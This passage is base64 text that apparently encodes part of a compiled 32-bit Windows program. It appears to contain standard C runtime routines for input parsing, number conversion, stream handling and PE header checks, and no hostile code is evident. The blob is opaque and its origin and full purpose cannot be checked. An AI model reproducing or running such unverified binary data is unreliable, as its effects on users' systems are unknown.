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7eF8Pz//w++jTz9//+DxAw7wQ+FBwEAAIuFMP3///+NMP3//4XAD4TzAAAA/7Uo/f///4U0/f//6I8jAACLjRz9//8Pt8CJhTz9//9mi4Xw/P//ZokEWY2FBP3//1CNhUD9//9QQ1ONvRz9//+NtQD9///o//X//4PEEIXAD4QKCQAA94U8/f//AP8AAA+FjAAAAA+2hTz9//9Q/xU8kwEQWYXAdHmLhTD9////jTD9//+FwHRpi4Uc/f//ZouNPP3///+FIP3//2aJDFiNhQT9//9QjYVA/f//UENTjb0c/f//jbUA/f//6In1//+DxAyFwA+ElAgAAP+1KP3///+FNP3//+jCIgAAD7fAWYmFPP3//6kA/wAAD4R0////g70g/f//AA+ElQEAAGplWGY7hTz9//90EGpFWGY7hTz9//8PhXkBAACLhTD9////jTD9//+FwA+EZQEAAIuNHP3//2plWGaJBFmNhQT9//9QjYVA/f//UENTjb0c/f//jbUA/f//6O30//+DxAyFwA+E+AcAAP+1KP3///+FNP3//+gmIgAAWQ+3wGotWYmFPP3//2Y7yHUuUYuNHP3//1hmiQRZjYUE/f//UI2FQP3//1BDU+ie9P//g8QMhcAPhKkHAADrDGorWGY7hTz9//91M4uFMP3///+NMP3//4XAdQghhTD9///rG/+1KP3///+FNP3//+ixIQAAD7fAWYmFPP3///eFPP3//wD/AAAPhYwAAAAPtoU8/f//UP8VPJMBEFmFwHR5i4Uw/f///40w/f//hcB0aYuFHP3//2aLjTz9////hSD9//9miQxYjYUE/f//UI2FQP3//1BDU429HP3//421AP3//+jn8///g8QMhcAPhPIGAAD/tSj9////hTT9///oICEAAA+3wFmJhTz9//+pAP8AAA+EdP////+1KP3///+NNP3///+1PP3//+hu9P//g70g/f//AFlZD4SmBgAAgL0n/f//AA+F7gUAAIu9AP3//4u1HP3///+FCP3//zPAjXw/AldmiQRe/xVEkwEQi9hZhdsPhGsGAABXVlP/FeiSARD/tfD8//8PvoUu/f//U/+1+Pz//0hQ6IoeAABT/xUwkwEQg8Qg6Y0FAACDvRT9//8AahBYD4WCAQAA/4Uw/f//6XcBAACLxoPocA+ECQIAAIPoAw+EVwEAAEhID4T/AQAAg+gDD4Qy+///g+gDdDVmi4U8/f//i5UY/f//ZjkCD4W2BQAA/o0m/f//hMkPhSQFAACLheT8//+Jhez8///pEwUAAGpA6QcBAABqK1hmO4U8/f//dTX/jTD9//91EoO9FP3//wB0CcaFO/3//wHrG/+1KP3///+FNP3//+i/HwAAD7fAWYmFPP3//2owWGY7hTz9//8PhboBAAD/tSj9////hTT9///olB8AAFkPt8BqeFmJhTz9//9mO8h0UGpYWWY7yHRIib0g/f//g/54dBuDvRT9//8AdA7/jTD9//91Bv6FO/3//2pv613/tSj9////jTT9//9Q6Lzy//9Zx4U8/f//MAAAAOlGAQAA/7Uo/f///4U0/f//6CEfAACDvRT9//8AD7fAWYmFPP3//3QVg60w/f//Ajm9MP3//30G/oU7/f//anhe6QYBAABqIIO9FP3//wBYdAILx4C9L/3//wB+A4PIAoTJdAODyASD/nt1QI2NCP3//1H/tej8//+Njfj8////tSj9////tTD9//9RjY00/f//UY2NPP3//1GNjRj9//9RUOg69P//g8Qk6zb/tej8//+NjTz9////tTD9//+NlQj9//9Ri40o/f//agBQjZ34/P//jb00/f//6B3y//+DxBSFwA+FDgQAAOleAwAAxoUu/f//AWotWGY7hTz9//91CcaFJf3//wHrDGorWGY7hTz9//91Nf+NMP3//3USg70U/f//AHQJxoU7/f//Aesb/7Uo/f///4U0/f//6PUdAAAPt8CJhTz9//9Zg738/P//AA+EiwEAAIC9O/3//wAPhU0BAAC7AP8AAIP+eA+EgQAAAIP+cHR8hZ08/f//D4UVAQAAD7aFPP3//1D/FTyTARBZhcAPhP4AAACD/m91MWo4WGY7hTz9//8PhukAAACLhQz9//+LjRD9//8PpMEDweADiYUM/f//iY0Q/f//63pqAGoK/7UQ/f///7UM/f//6KUbAACJhQz9//+JlRD9///rV4WdPP3//w+FmQAAAA+2hTz9//9Q/xUEkwEQWYXAD4SCAAAAi4UM/f//i40Q/f///7U8/f//D6TBBMHgBImFDP3//4mNEP3//+g48P//D7fAWYmFPP3//w+3hTz9////hSD9//+D6DCZAYUM/f//EZUQ/f//g70U/f//AHQI/40w/f//dDn/tSj9////hTT9///orBwAAA+3wFmJhTz9///p0f7///+1KP3///+NNP3///+1PP3//+gA8P//WVmAvSX9//8AD4QtAQAAi4UM/f//i40Q/f//99iD0QD32YmFDP3//4mNEP3//+kJAQAAgL07/f//AIud9Pz//w+F5QAAAL8A/wAAg/54dEeD/nB0QoW9PP3//w+FsQAAAA+2hTz9//9Q/xU8kwEQWYXAD4SaAAAAg/5vdRVqOFhmO4U8/f//D4aFAAAAweMD6zhr2wrrM4W9PP3//3VzD7aFPP3//1D/FQSTARBZhcB0YP+1PP3//8HjBOgJ7///D7fAWYmFPP3//w+3hTz9////hSD9//+DvRT9//8AjVwD0Imd9Pz//3QI/40w/f//dDn/tSj9////hTT9///ogxsAAA+3wFmJhTz9///pOf////+1KP3///+NNP3///+1PP3//+jX7v//WVmAvSX9//8AdAj324md9Pz//4P+RnUHg6Ug/f//AIO9IP3//wAPhPIAAACAvSf9//8AdT7/hQj9//+Lnfj8//+LhfT8//+Dvfz8//8AdBOLhQz9//+JA4uFEP3//4lDBOsQgL0u/f//AHQEiQPrA2aJA4OFGP3//wL+hSb9//+LtRj9//8z/+sl/7Uo/f///4U0/f//6MIaAABZZosOD7fARkaJhTz9//9mO8h1Ybj//wAAZjuFPP3//3UNZoM+JXVbZoN+Am51VA+3BmY7xw+FPPL//+tG/7Uo/f///7U8/f//6zHGAwD/FRSTARDHAAwAAADrJ/+1KP3///+1PP3//+jP7f//ib3g/P//6wz/tSj9//9Q6Lvt//9ZWYO9BP3//wFbdQ3/tRz9////FTCTARBZuP//AABmO4U8/f//dRSLhQj9//+FwHUsOIUm/f//dSTrIoO94Pz//wF1E/8VFJMBEIu9CP3//zP26V3x//+LhQj9//9fi038M81e6JvG///Jw4v/VYvsi0UIg+wgVjP2O8Z1Hv8VFJMBEFZWVlZWxwAWAAAA6F/G//+DxBSDyP/rNTl1EHTdi00Mgfn///8/d9L/dRSJRej/dRCJReCNBAmJReSNReBQx0XsSQAAAOhZ8P//g8QMXsnDzMzMU1G7GMACEOsLU1G7GMACEItMJAyJSwiJQwSJawxVUVBYWV1ZW8IEAP/Qw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